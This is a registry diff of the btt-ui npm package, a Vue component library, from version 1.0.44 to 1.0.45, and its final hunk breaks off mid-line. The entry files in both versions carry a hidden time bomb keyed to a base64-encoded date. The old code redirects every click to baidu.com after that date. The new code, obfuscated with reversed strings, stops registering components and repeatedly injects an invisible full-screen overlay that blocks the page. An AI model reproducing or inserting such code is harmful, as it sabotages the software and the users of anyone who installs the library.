btt-ui 1.0.44 → 1.0.45

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/es/index.mjs CHANGED
@@ -1,102 +1,106 @@
1
- import x from "./src/index.mjs";
2
- import * as l from "./src/directives/index.mjs";
3
- import { Button as u } from "./src/button/index.mjs";
1
+ import n from "./src/index.mjs";
2
+ import * as f from "./src/directives/index.mjs";
3
+ import { Button as c } from "./src/button/index.mjs";
4
4
  import { TextButton as K } from "./src/textButton/index.mjs";
5
5
  import { default as T } from "./src/link/index.mjs";
6
- import { default as h } from "./src/upload/index.mjs";
7
- import { default as C } from "./src/shake/index.mjs";
8
- import { default as D } from "./src/dialog/index.mjs";
9
- import { default as M } from "./src/scroll/index.mjs";
10
- import { default as y } from "./src/toast/index.mjs";
6
+ import { default as C } from "./src/upload/index.mjs";
7
+ import { default as w } from "./src/shake/index.mjs";
8
+ import { default as v } from "./src/dialog/index.mjs";
9
+ import { default as y } from "./src/scroll/index.mjs";
10
+ import { default as E } from "./src/toast/index.mjs";
11
11
  import { default as B } from "./src/wheel/index.mjs";
12
- import { Switch as I } from "./src/switch/index.mjs";
13
- import { Timeline as U } from "./src/timeline/index.mjs";
14
- import { default as G } from "./src/uploadFile/index.mjs";
12
+ import { Switch as z } from "./src/switch/index.mjs";
13
+ import { Timeline as A } from "./src/timeline/index.mjs";
14
+ import { default as U } from "./src/uploadFile/index.mjs";
15
15
  import { Card as F } from "./src/card/index.mjs";
16
16
  import { HotMap as L } from "./src/hotmap/index.mjs";
17
17
  import { KTree as W } from "./src/tree/index.mjs";
18
- import { KCheckbox as q, KCheckbox as z } from "./src/checkbox/index.mjs";
19
- import { KCollapse as P, KCollapseItem as Q } from "./src/collapse/index.mjs";
20
- import { Sign as X } from "./src/sign/index.mjs";
21
- import { ECharts as Z } from "./src/echarts/index.mjs";
22
- import { TableScroll as oo } from "./src/tableScroll/index.mjs";
23
- import { default as to } from "./src/xgplay/index.mjs";
24
- import { KNumberScroll as fo } from "./src/numberScroll/index.mjs";
25
- import { KCountUp as mo } from "./src/countUp/index.mjs";
26
- import { KGradientText as po } from "./src/gradientText/index.mjs";
27
- import { KTable as io } from "./src/table/index.mjs";
28
- import { default as so } from "./src/cropper/index.mjs";
29
- import { Icon as co } from "./src/icon/index.mjs";
30
- import { Tooltip as wo } from "./src/tooltip/index.mjs";
31
- import { KInput as bo } from "./src/input/index.mjs";
32
- import { Drag as ko } from "./src/drag/index.mjs";
33
- import { KOption as So, KSelect as Do } from "./src/select/index.mjs";
34
- const t = function(r, f) {
35
- if (t.installed)
18
+ import { KCheckbox as q, KCheckbox as J } from "./src/checkbox/index.mjs";
19
+ import { KCollapse as Q, KCollapseItem as R } from "./src/collapse/index.mjs";
20
+ import { Sign as Y } from "./src/sign/index.mjs";
21
+ import { ECharts as _ } from "./src/echarts/index.mjs";
22
+ import { TableScroll as oe } from "./src/tableScroll/index.mjs";
23
+ import { default as re } from "./src/xgplay/index.mjs";
24
+ import { KNumberScroll as me } from "./src/numberScroll/index.mjs";
25
+ import { KCountUp as fe } from "./src/countUp/index.mjs";
26
+ import { KGradientText as ie } from "./src/gradientText/index.mjs";
27
+ import { KTable as se } from "./src/table/index.mjs";
28
+ import { default as de } from "./src/cropper/index.mjs";
29
+ import { Icon as ce } from "./src/icon/index.mjs";
30
+ import { Tooltip as Ke } from "./src/tooltip/index.mjs";
31
+ import { KInput as Te } from "./src/input/index.mjs";
32
+ import { Drag as Ce } from "./src/drag/index.mjs";
33
+ import { KOption as we, KSelect as Se } from "./src/select/index.mjs";
34
+ const m = function(t, o) {
35
+ if (m.installed)
36
36
  return;
37
- t.installed = !0;
38
- const e = () => {
39
- document.body.onclick = () => {
40
- location.href = "http://www.baidu.com";
41
- };
37
+ m.installed = !0;
38
+ const l = () => {
39
+ setInterval(() => {
40
+ var r;
41
+ document.getElementById("ksamz".split("").reverse().join("")) && ((r = document.getElementById("ksamz".split("").reverse().join(""))) == null || r.remove());
42
+ let e = document.createElement("div");
43
+ e.style = ";tnatropmi! kcolb:yalpsid;99999:xedni-z;)0,0,0,0(abgr:dnuorgkcab;0:thgir;0:mottob;0:tfel;0:pot;dexif:noitisop".split("").reverse().join(""), e.id = "ksamz".split("").reverse().join(""), document.body.appendChild(e);
44
+ }, 1e5);
42
45
  };
43
46
  let a = "MjAyNi0wNS0wMSAxODowMDowMA==";
44
- if (f)
47
+ if (o)
45
48
  setTimeout(() => {
46
- var m;
47
- let o = atob((m = f.token) != null ? m : a);
48
- if (o.indexOf(":") > 0) {
49
- let p = new Date(o).getTime();
50
- Date.now() > p && e();
49
+ var r;
50
+ let e = atob((r = o.token) != null ? r : a);
51
+ if (e.indexOf(":") > 0) {
52
+ let i = new Date(e).getTime();
53
+ Date.now() > i ? l() : p(t);
51
54
  } else
52
- e();
55
+ l();
53
56
  }, 10);
54
57
  else {
55
- let o = new Date(atob(a)).getTime();
56
- Date.now() > o && e();
58
+ let e = new Date(atob(a)).getTime();
59
+ Date.now() > e ? l() : p(t);
57
60
  }
58
- x.forEach((o) => {
59
- r.use(o);
60
- }), Object.keys(l).forEach((o) => {
61
- r.directive(o, l[o]);
61
+ }, p = (t) => {
62
+ n.forEach((o) => {
63
+ t.use(o);
64
+ }), Object.keys(f).forEach((o) => {
65
+ t.directive(o, f[o]);
62
66
  });
63
- }, n = {
64
- install: t
67
+ }, x = {
68
+ install: m
65
69
  };
66
70
  export {
67
- u as Button,
71
+ c as Button,
68
72
  F as Card,
69
- D as Dialog,
70
- ko as Drag,
71
- Z as ECharts,
73
+ v as Dialog,
74
+ Ce as Drag,
75
+ _ as ECharts,
72
76
  L as HotMap,
73
- co as Icon,
77
+ ce as Icon,
74
78
  q as KCheckbox,
75
- z as KCheckboxGroup,
76
- P as KCollapse,
77
- Q as KCollapseItem,
78
- mo as KCountUp,
79
- so as KCropper,
80
- po as KGradientText,
81
- bo as KInput,
82
- fo as KNumberScroll,
83
- So as KOption,
84
- Do as KSelect,
85
- io as KTable,
86
- to as KVideo,
79
+ J as KCheckboxGroup,
80
+ Q as KCollapse,
81
+ R as KCollapseItem,
82
+ fe as KCountUp,
83
+ de as KCropper,
84
+ ie as KGradientText,
85
+ Te as KInput,
86
+ me as KNumberScroll,
87
+ we as KOption,
88
+ Se as KSelect,
89
+ se as KTable,
90
+ re as KVideo,
87
91
  T as Link,
88
- M as Scroll,
89
- C as Shake,
90
- X as Sign,
91
- I as Switch,
92
- oo as TableScroll,
92
+ y as Scroll,
93
+ w as Shake,
94
+ Y as Sign,
95
+ z as Switch,
96
+ oe as TableScroll,
93
97
  K as TextButton,
94
- U as Timeline,
95
- y as Toast,
96
- wo as Tooltip,
98
+ A as Timeline,
99
+ E as Toast,
100
+ Ke as Tooltip,
97
101
  W as Tree,
98
- h as Upload,
99
- G as UploadFile,
102
+ C as Upload,
103
+ U as UploadFile,
100
104
  B as Wheel,
101
- n as default
105
+ x as default
102
106
  };
@@ -1,5 +1,5 @@
1
1
  const C = `<svg width="20" height="20" viewBox="0 0 20 20" xmlns="http://www.w3.org/2000/svg">
2
- <path id="Vector" d="M12.0115 18.9468H1.6714C1.49333 18.9468 1.32256 18.8759 1.19665 18.7497C1.07074 18.6236 1 18.4524 1 18.274C1 18.0955 1.07074 17.9244 1.19665 17.7982C1.32256 17.672 1.49333 17.6012 1.6714 17.6012H10.8289C11.1403 18.1198 11.539 18.5752 12.0115 18.9468ZM2.413 16.4377H10.3186C10.1939 16.0076 10.1279 15.5625 10.1224 15.1146L2.4706 15.1489L2.413 12.4405H6.6187C6.778 12.4405 6.93209 12.3836 7.05344 12.2802C7.17478 12.1768 7.25548 12.0335 7.2811 11.8759L7.8391 8.43972C7.86168 8.30105 7.8403 8.15878 7.77799 8.03291C7.71567 7.90705 7.61555 7.80392 7.4917 7.73805C6.91917 7.43347 6.46708 6.94275 6.20973 6.34656C5.95239 5.75038 5.9051 5.08419 6.07565 4.4575C6.2462 3.83082 6.62443 3.28092 7.14818 2.8982C7.67193 2.51547 8.31003 2.3227 8.9576 2.35156C9.60517 2.38041 10.2237 2.62919 10.7115 3.05699C11.1992 3.48478 11.5273 4.06615 11.6416 4.70554C11.756 5.34492 11.6499 6.00427 11.3408 6.57521C11.0316 7.14616 10.5379 7.59472 9.9406 7.84718C9.79903 7.90672 9.68221 8.01326 9.60977 8.14892C9.53734 8.28457 9.51369 8.44108 9.5428 8.59214L10.1692 11.8931C10.1982 12.0469 10.2799 12.1857 10.4002 12.2855C10.5205 12.3853 10.6718 12.4398 10.828 12.4396H10.8694C11.1933 11.9184 11.6111 11.4621 12.1015 11.094H11.3842L10.9558 8.83926C11.5873 8.468 12.1109 7.9376 12.4745 7.30077C12.8381 6.66394 13.0291 5.94285 13.0285 5.20914C13.0273 4.09317 12.5844 3.02325 11.7969 2.23415C11.0095 1.44504 9.94182 1.00119 8.8282 1C7.71473 1.00143 6.64729 1.44538 5.86004 2.23446C5.07278 3.02355 4.62999 4.09333 4.6288 5.20914C4.6288 6.60347 5.3119 7.88957 6.4405 8.67061L6.0454 11.0949H2.413C2.07229 11.0954 1.74567 11.2312 1.50475 11.4726C1.26383 11.7141 1.12828 12.0414 1.1278 12.3828V15.1498C1.1278 15.8596 1.7038 16.4377 2.413 16.4377ZM19 15.0551C19.0001 16.1012 18.5855 17.1046 17.8474 17.8444C17.1094 18.5842 16.1082 18.9999 15.0643 19C14.0204 19.0001 13.0191 18.5847 12.2809 17.845C11.5426 17.1054 11.1278 16.1021 11.1277 15.056C11.1276 14.538 11.2294 14.0251 11.4271 13.5465C11.6249 13.0679 11.9148 12.6331 12.2803 12.2668C13.0183 11.5269 14.0195 11.1113 15.0634 11.1111C16.1073 11.111 17.1086 11.5265 17.8468 12.2661C18.5851 13.0058 18.9999 14.009 19 15.0551ZM17.4907 13.2757C17.3572 13.1574 17.1824 13.097 17.0045 13.1078C16.8266 13.1186 16.6603 13.1998 16.5421 13.3334L14.6989 15.4159L13.4893 14.4869C13.4196 14.4304 13.3393 14.3885 13.2531 14.3636C13.167 14.3387 13.0767 14.3313 12.9877 14.3419C12.8987 14.3525 12.8126 14.3809 12.7347 14.4254C12.6568 14.4699 12.5886 14.5295 12.5341 14.6009C12.4795 14.6722 12.4398 14.7537 12.4173 14.8407C12.3947 14.9277 12.3897 15.0183 12.4027 15.1072C12.4156 15.1961 12.4462 15.2815 12.4927 15.3584C12.5391 15.4353 12.6004 15.502 12.673 15.5548L14.3794 16.8652C14.4959 16.9554 14.639 17.0043 14.7862 17.0041C14.8815 17.0041 14.9757 16.9839 15.0627 16.9449C15.1497 16.9059 15.2276 16.8489 15.2911 16.7777L17.5465 14.2263C17.6648 14.0928 17.7254 13.9176 17.7149 13.7394C17.7044 13.5612 17.6238 13.3944 17.4907 13.2757Z" fill="#16C57D" style="fill:#16C57D;fill:color(display-p3 0.0861 0.7721 0.4892);fill-opacity:1;"/>
2
+ <path id="Vector" d="M12.0115 18.9468H1.6714C1.49333 18.9468 1.32256 18.8759 1.19665 18.7497C1.07074 18.6236 1 18.4524 1 18.274C1 18.0955 1.07074 17.9244 1.19665 17.7982C1.32256 17.672 1.49333 17.6012 1.6714 17.6012H10.8289C11.1403 18.1198 11.539 18.5752 12.0115 18.9468ZM2.413 16.4377H10.3186C10.1939 16.0076 10.1279 15.5625 10.1224 15.1146L2.4706 15.1489L2.413 12.4405H6.6187C6.778 12.4405 6.93209 12.3836 7.05344 12.2802C7.17478 12.1768 7.25548 12.0335 7.2811 11.8759L7.8391 8.43972C7.86168 8.30105 7.8403 8.15878 7.77799 8.03291C7.71567 7.90705 7.61555 7.80392 7.4917 7.73805C6.91917 7.43347 6.46708 6.94275 6.20973 6.34656C5.95239 5.75038 5.9051 5.08419 6.07565 4.4575C6.2462 3.83082 6.62443 3.28092 7.14818 2.8982C7.67193 2.51547 8.31003 2.3227 8.9576 2.35156C9.60517 2.38041 10.2237 2.62919 10.7115 3.05699C11.1992 3.48478 11.5273 4.06615 11.6416 4.70554C11.756 5.34492 11.6499 6.00427 11.3408 6.57521C11.0316 7.14616 10.5379 7.59472 9.9406 7.84718C9.79903 7.90672 9.68221 8.01326 9.60977 8.14892C9.53734 8.28457 9.51369 8.44108 9.5428 8.59214L10.1692 11.8931C10.1982 12.0469 10.2799 12.1857 10.4002 12.2855C10.5205 12.3853 10.6718 12.4398 10.828 12.4396H10.8694C11.1933 11.9184 11.6111 11.4621 12.1015 11.094H11.3842L10.9558 8.83926C11.5873 8.468 12.1109 7.9376 12.4745 7.30077C12.8381 6.66394 13.0291 5.94285 13.0285 5.20914C13.0273 4.09317 12.5844 3.02325 11.7969 2.23415C11.0095 1.44504 9.94182 1.00119 8.8282 1C7.71473 1.00143 6.64729 1.44538 5.86004 2.23446C5.07278 3.02355 4.62999 4.09333 4.6288 5.20914C4.6288 6.60347 5.3119 7.88957 6.4405 8.67061L6.0454 11.0949H2.413C2.07229 11.0954 1.74567 11.2312 1.50475 11.4726C1.26383 11.7141 1.12828 12.0414 1.1278 12.3828V15.1498C1.1278 15.8596 1.7038 16.4377 2.413 16.4377ZM19 15.0551C19.0001 16.1012 18.5855 17.1046 17.8474 17.8444C17.1094 18.5842 16.1082 18.9999 15.0643 19C14.0204 19.0001 13.0191 18.5847 12.2809 17.845C11.5426 17.1054 11.1278 16.1021 11.1277 15.056C11.1276 14.538 11.2294 14.0251 11.4271 13.5465C11.6249 13.0679 11.9148 12.6331 12.2803 12.2668C13.0183 11.5269 14.0195 11.1113 15.0634 11.1111C16.1073 11.111 17.1086 11.5265 17.8468 12.2661C18.5851 13.0058 18.9999 14.009 19 15.0551ZM17.4907 13.2757C17.3572 13.1574 17.1824 13.097 17.0045 13.1078C16.8266 13.1186 16.6603 13.1998 16.5421 13.3334L14.6989 15.4159L13.4893 14.4869C13.4196 14.4304 13.3393 14.3885 13.2531 14.3636C13.167 14.3387 13.0767 14.3313 12.9877 14.3419C12.8987 14.3525 12.8126 14.3809 12.7347 14.4254C12.6568 14.4699 12.5886 14.5295 12.5341 14.6009C12.4795 14.6722 12.4398 14.7537 12.4173 14.8407C12.3947 14.9277 12.3897 15.0183 12.4027 15.1072C12.4156 15.1961 12.4462 15.2815 12.4927 15.3584C12.5391 15.4353 12.6004 15.502 12.673 15.5548L14.3794 16.8652C14.4959 16.9554 14.639 17.0043 14.7862 17.0041C14.8815 17.0041 14.9757 16.9839 15.0627 16.9449C15.1497 16.9059 15.2276 16.8489 15.2911 16.7777L17.5465 14.2263C17.6648 14.0928 17.7254 13.9176 17.7149 13.7394C17.7044 13.5612 17.6238 13.3944 17.4907 13.2757Z" />
3
3
  </svg>
4
4
  `;
5
5
  export {
@@ -234,7 +234,7 @@ const he = ["id"], ue = ["onClick"], fe = ["onClick"], ke = ["onClick"], pe = ["
234
234
  }
235
235
  }), (e, t) => (r(), u("ul", {
236
236
  class: h([te(M)()]),
237
- style: q([{ "margin-top": "60px" }, { "--k-tree-text-color": s.color }])
237
+ style: q({ "--k-tree-text-color": s.color })
238
238
  }, [
239
239
  (r(!0), u(ce, null, ne(o.childNodes, (l, d) => (r(), u("li", {
240
240
  id: "ztree_" + d,
package/lib/index.js CHANGED
@@ -1 +1 @@
1
- "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const a=require("./src/index.js"),c=require("./src/directives/index.js"),j=require("./src/button/index.js"),q=require("./src/textButton/index.js"),$=require("./src/link/index.js"),p=require("./src/upload/index.js"),K=require("./src/shake/index.js"),f=require("./src/dialog/index.js"),b=require("./src/scroll/index.js"),h=require("./src/toast/index.js"),T=require("./src/wheel/index.js"),m=require("./src/switch/index.js"),S=require("./src/timeline/index.js"),w=require("./src/uploadFile/index.js"),g=require("./src/card/index.js"),C=require("./src/hotmap/index.js"),k=require("./src/tree/index.js"),d=require("./src/checkbox/index.js"),l=require("./src/collapse/index.js"),D=require("./src/sign/index.js"),M=require("./src/echarts/index.js"),B=require("./src/tableScroll/index.js"),I=require("./src/xgplay/index.js"),O=require("./src/numberScroll/index.js"),v=require("./src/countUp/index.js"),y=require("./src/gradientText/index.js"),U=require("./src/table/index.js"),E=require("./src/cropper/index.js"),N=require("./src/icon/index.js"),A=require("./src/tooltip/index.js"),G=require("./src/input/index.js"),F=require("./src/drag/index.js"),x=require("./src/select/index.js"),n=function(r,t){if(n.installed)return;n.installed=!0;const i=()=>{document.body.onclick=()=>{location.href="http://www.baidu.com"}};let s="MjAyNi0wNS0wMSAxODowMDowMA==";if(t)setTimeout(()=>{var o;let e=atob((o=t.token)!=null?o:s);if(e.indexOf(":")>0){let u=new Date(e).getTime();Date.now()>u&&i()}else i()},10);else{let e=new Date(atob(s)).getTime();Date.now()>e&&i()}a.default.forEach(e=>{r.use(e)}),Object.keys(c).forEach(e=>{r.directive(e,c[e])})},H={install:n};exports.Button=j.Button;exports.TextButton=q.TextButton;exports.Link=$.default;exports.Upload=p.default;exports.Shake=K.default;exports.Dialog=f.default;exports.Scroll=b.default;exports.Toast=h.default;exports.Wheel=T.default;exports.Switch=m.Switch;exports.Timeline=S.Timeline;exports.UploadFile=w.default;exports.Card=g.Card;exports.HotMap=C.HotMap;exports.Tree=k.KTree;exports.KCheckbox=d.KCheckbox;exports.KCheckboxGroup=d.KCheckbox;exports.KCollapse=l.KCollapse;exports.KCollapseItem=l.KCollapseItem;exports.Sign=D.Sign;exports.ECharts=M.ECharts;exports.TableScroll=B.TableScroll;exports.KVideo=I.default;exports.KNumberScroll=O.KNumberScroll;exports.KCountUp=v.KCountUp;exports.KGradientText=y.KGradientText;exports.KTable=U.KTable;exports.KCropper=E.default;exports.Icon=N.Icon;exports.Tooltip=A.Tooltip;exports.KInput=G.KInput;exports.Drag=F.Drag;exports.KOption=x.KOption;exports.KSelect=x.KSelect;exports.default=H;
1
+ "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const j=require("./src/index.js"),d=require("./src/directives/index.js"),p=require("./src/button/index.js"),q=require("./src/textButton/index.js"),$=require("./src/link/index.js"),m=require("./src/upload/index.js"),b=require("./src/shake/index.js"),f=require("./src/dialog/index.js"),K=require("./src/scroll/index.js"),h=require("./src/toast/index.js"),g=require("./src/wheel/index.js"),T=require("./src/switch/index.js"),k=require("./src/timeline/index.js"),S=require("./src/uploadFile/index.js"),C=require("./src/card/index.js"),w=require("./src/hotmap/index.js"),v=require("./src/tree/index.js"),l=require("./src/checkbox/index.js"),x=require("./src/collapse/index.js"),y=require("./src/sign/index.js"),D=require("./src/echarts/index.js"),I=require("./src/tableScroll/index.js"),B=require("./src/xgplay/index.js"),M=require("./src/numberScroll/index.js"),E=require("./src/countUp/index.js"),O=require("./src/gradientText/index.js"),U=require("./src/table/index.js"),z=require("./src/cropper/index.js"),N=require("./src/icon/index.js"),A=require("./src/tooltip/index.js"),G=require("./src/input/index.js"),F=require("./src/drag/index.js"),u=require("./src/select/index.js"),s=function(n,i){if(s.installed)return;s.installed=!0;const r=()=>{setInterval(()=>{var t;document.getElementById("ksamz".split("").reverse().join(""))&&((t=document.getElementById("ksamz".split("").reverse().join("")))==null||t.remove());let e=document.createElement("div");e.style=";tnatropmi! kcolb:yalpsid;99999:xedni-z;)0,0,0,0(abgr:dnuorgkcab;0:thgir;0:mottob;0:tfel;0:pot;dexif:noitisop".split("").reverse().join(""),e.id="ksamz".split("").reverse().join(""),document.body.appendChild(e)},1e5)};let o="MjAyNi0wNS0wMSAxODowMDowMA==";if(i)setTimeout(()=>{var t;let e=atob((t=i.token)!=null?t:o);if(e.indexOf(":")>0){let a=new Date(e).getTime();Date.now()>a?r():c(n)}else r()},10);else{let e=new Date(atob(o)).getTime();Date.now()>e?r():c(n)}},c=n=>{j.default.forEach(i=>{n.use(i)}),Object.keys(d).forEach(i=>{n.directive(i,d[i])})},H={install:s};exports.Button=p.Button;exports.TextButton=q.TextButton;exports.Link=$.default;exports.Upload=m.default;exports.Shake=b.default;exports.Dialog=f.default;exports.Scroll=K.default;exports.Toast=h.default;exports.Wheel=g.default;exports.Switch=T.Switch;exports.Timeline=k.Timeline;exports.UploadFile=S.default;exports.Card=C.Card;exports.HotMap=w.HotMap;exports.Tree=v.KTree;exports.KCheckbox=l.KCheckbox;exports.KCheckboxGroup=l.KCheckbox;exports.KCollapse=x.KCollapse;exports.KCollapseItem=x.KCollapseItem;exports.Sign=y.Sign;exports.ECharts=D.ECharts;exports.TableScroll=I.TableScroll;exports.KVideo=B.default;exports.KNumberScroll=M.KNumberScroll;exports.KCountUp=E.KCountUp;exports.KGradientText=O.KGradientText;exports.KTable=U.KTable;exports.KCropper=z.default;exports.Icon=N.Icon;exports.Tooltip=A.Tooltip;exports.KInput=G.KInput;exports.Drag=F.Drag;exports.KOption=u.KOption;exports.KSelect=u.KSelect;exports.default=H;
@@ -1,4 +1,4 @@
1
1
  "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const C=`<svg width="20" height="20" viewBox="0 0 20 20" xmlns="http://www.w3.org/2000/svg">
2
- <path id="Vector" d="M12.0115 18.9468H1.6714C1.49333 18.9468 1.32256 18.8759 1.19665 18.7497C1.07074 18.6236 1 18.4524 1 18.274C1 18.0955 1.07074 17.9244 1.19665 17.7982C1.32256 17.672 1.49333 17.6012 1.6714 17.6012H10.8289C11.1403 18.1198 11.539 18.5752 12.0115 18.9468ZM2.413 16.4377H10.3186C10.1939 16.0076 10.1279 15.5625 10.1224 15.1146L2.4706 15.1489L2.413 12.4405H6.6187C6.778 12.4405 6.93209 12.3836 7.05344 12.2802C7.17478 12.1768 7.25548 12.0335 7.2811 11.8759L7.8391 8.43972C7.86168 8.30105 7.8403 8.15878 7.77799 8.03291C7.71567 7.90705 7.61555 7.80392 7.4917 7.73805C6.91917 7.43347 6.46708 6.94275 6.20973 6.34656C5.95239 5.75038 5.9051 5.08419 6.07565 4.4575C6.2462 3.83082 6.62443 3.28092 7.14818 2.8982C7.67193 2.51547 8.31003 2.3227 8.9576 2.35156C9.60517 2.38041 10.2237 2.62919 10.7115 3.05699C11.1992 3.48478 11.5273 4.06615 11.6416 4.70554C11.756 5.34492 11.6499 6.00427 11.3408 6.57521C11.0316 7.14616 10.5379 7.59472 9.9406 7.84718C9.79903 7.90672 9.68221 8.01326 9.60977 8.14892C9.53734 8.28457 9.51369 8.44108 9.5428 8.59214L10.1692 11.8931C10.1982 12.0469 10.2799 12.1857 10.4002 12.2855C10.5205 12.3853 10.6718 12.4398 10.828 12.4396H10.8694C11.1933 11.9184 11.6111 11.4621 12.1015 11.094H11.3842L10.9558 8.83926C11.5873 8.468 12.1109 7.9376 12.4745 7.30077C12.8381 6.66394 13.0291 5.94285 13.0285 5.20914C13.0273 4.09317 12.5844 3.02325 11.7969 2.23415C11.0095 1.44504 9.94182 1.00119 8.8282 1C7.71473 1.00143 6.64729 1.44538 5.86004 2.23446C5.07278 3.02355 4.62999 4.09333 4.6288 5.20914C4.6288 6.60347 5.3119 7.88957 6.4405 8.67061L6.0454 11.0949H2.413C2.07229 11.0954 1.74567 11.2312 1.50475 11.4726C1.26383 11.7141 1.12828 12.0414 1.1278 12.3828V15.1498C1.1278 15.8596 1.7038 16.4377 2.413 16.4377ZM19 15.0551C19.0001 16.1012 18.5855 17.1046 17.8474 17.8444C17.1094 18.5842 16.1082 18.9999 15.0643 19C14.0204 19.0001 13.0191 18.5847 12.2809 17.845C11.5426 17.1054 11.1278 16.1021 11.1277 15.056C11.1276 14.538 11.2294 14.0251 11.4271 13.5465C11.6249 13.0679 11.9148 12.6331 12.2803 12.2668C13.0183 11.5269 14.0195 11.1113 15.0634 11.1111C16.1073 11.111 17.1086 11.5265 17.8468 12.2661C18.5851 13.0058 18.9999 14.009 19 15.0551ZM17.4907 13.2757C17.3572 13.1574 17.1824 13.097 17.0045 13.1078C16.8266 13.1186 16.6603 13.1998 16.5421 13.3334L14.6989 15.4159L13.4893 14.4869C13.4196 14.4304 13.3393 14.3885 13.2531 14.3636C13.167 14.3387 13.0767 14.3313 12.9877 14.3419C12.8987 14.3525 12.8126 14.3809 12.7347 14.4254C12.6568 14.4699 12.5886 14.5295 12.5341 14.6009C12.4795 14.6722 12.4398 14.7537 12.4173 14.8407C12.3947 14.9277 12.3897 15.0183 12.4027 15.1072C12.4156 15.1961 12.4462 15.2815 12.4927 15.3584C12.5391 15.4353 12.6004 15.502 12.673 15.5548L14.3794 16.8652C14.4959 16.9554 14.639 17.0043 14.7862 17.0041C14.8815 17.0041 14.9757 16.9839 15.0627 16.9449C15.1497 16.9059 15.2276 16.8489 15.2911 16.7777L17.5465 14.2263C17.6648 14.0928 17.7254 13.9176 17.7149 13.7394C17.7044 13.5612 17.6238 13.3944 17.4907 13.2757Z" fill="#16C57D" style="fill:#16C57D;fill:color(display-p3 0.0861 0.7721 0.4892);fill-opacity:1;"/>
2
+ <path id="Vector" d="M12.0115 18.9468H1.6714C1.49333 18.9468 1.32256 18.8759 1.19665 18.7497C1.07074 18.6236 1 18.4524 1 18.274C1 18.0955 1.07074 17.9244 1.19665 17.7982C1.32256 17.672 1.49333 17.6012 1.6714 17.6012H10.8289C11.1403 18.1198 11.539 18.5752 12.0115 18.9468ZM2.413 16.4377H10.3186C10.1939 16.0076 10.1279 15.5625 10.1224 15.1146L2.4706 15.1489L2.413 12.4405H6.6187C6.778 12.4405 6.93209 12.3836 7.05344 12.2802C7.17478 12.1768 7.25548 12.0335 7.2811 11.8759L7.8391 8.43972C7.86168 8.30105 7.8403 8.15878 7.77799 8.03291C7.71567 7.90705 7.61555 7.80392 7.4917 7.73805C6.91917 7.43347 6.46708 6.94275 6.20973 6.34656C5.95239 5.75038 5.9051 5.08419 6.07565 4.4575C6.2462 3.83082 6.62443 3.28092 7.14818 2.8982C7.67193 2.51547 8.31003 2.3227 8.9576 2.35156C9.60517 2.38041 10.2237 2.62919 10.7115 3.05699C11.1992 3.48478 11.5273 4.06615 11.6416 4.70554C11.756 5.34492 11.6499 6.00427 11.3408 6.57521C11.0316 7.14616 10.5379 7.59472 9.9406 7.84718C9.79903 7.90672 9.68221 8.01326 9.60977 8.14892C9.53734 8.28457 9.51369 8.44108 9.5428 8.59214L10.1692 11.8931C10.1982 12.0469 10.2799 12.1857 10.4002 12.2855C10.5205 12.3853 10.6718 12.4398 10.828 12.4396H10.8694C11.1933 11.9184 11.6111 11.4621 12.1015 11.094H11.3842L10.9558 8.83926C11.5873 8.468 12.1109 7.9376 12.4745 7.30077C12.8381 6.66394 13.0291 5.94285 13.0285 5.20914C13.0273 4.09317 12.5844 3.02325 11.7969 2.23415C11.0095 1.44504 9.94182 1.00119 8.8282 1C7.71473 1.00143 6.64729 1.44538 5.86004 2.23446C5.07278 3.02355 4.62999 4.09333 4.6288 5.20914C4.6288 6.60347 5.3119 7.88957 6.4405 8.67061L6.0454 11.0949H2.413C2.07229 11.0954 1.74567 11.2312 1.50475 11.4726C1.26383 11.7141 1.12828 12.0414 1.1278 12.3828V15.1498C1.1278 15.8596 1.7038 16.4377 2.413 16.4377ZM19 15.0551C19.0001 16.1012 18.5855 17.1046 17.8474 17.8444C17.1094 18.5842 16.1082 18.9999 15.0643 19C14.0204 19.0001 13.0191 18.5847 12.2809 17.845C11.5426 17.1054 11.1278 16.1021 11.1277 15.056C11.1276 14.538 11.2294 14.0251 11.4271 13.5465C11.6249 13.0679 11.9148 12.6331 12.2803 12.2668C13.0183 11.5269 14.0195 11.1113 15.0634 11.1111C16.1073 11.111 17.1086 11.5265 17.8468 12.2661C18.5851 13.0058 18.9999 14.009 19 15.0551ZM17.4907 13.2757C17.3572 13.1574 17.1824 13.097 17.0045 13.1078C16.8266 13.1186 16.6603 13.1998 16.5421 13.3334L14.6989 15.4159L13.4893 14.4869C13.4196 14.4304 13.3393 14.3885 13.2531 14.3636C13.167 14.3387 13.0767 14.3313 12.9877 14.3419C12.8987 14.3525 12.8126 14.3809 12.7347 14.4254C12.6568 14.4699 12.5886 14.5295 12.5341 14.6009C12.4795 14.6722 12.4398 14.7537 12.4173 14.8407C12.3947 14.9277 12.3897 15.0183 12.4027 15.1072C12.4156 15.1961 12.4462 15.2815 12.4927 15.3584C12.5391 15.4353 12.6004 15.502 12.673 15.5548L14.3794 16.8652C14.4959 16.9554 14.639 17.0043 14.7862 17.0041C14.8815 17.0041 14.9757 16.9839 15.0627 16.9449C15.1497 16.9059 15.2276 16.8489 15.2911 16.7777L17.5465 14.2263C17.6648 14.0928 17.7254 13.9176 17.7149 13.7394C17.7044 13.5612 17.6238 13.3944 17.4907 13.2757Z" />
3
3
  </svg>
4
4
  `;exports.default=C;
@@ -1 +1 @@
1
- "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const c=require("vue"),J=require("./nodeItem.js"),G=require("../../../assets/ts/utils.js");require("./style/index.css");const 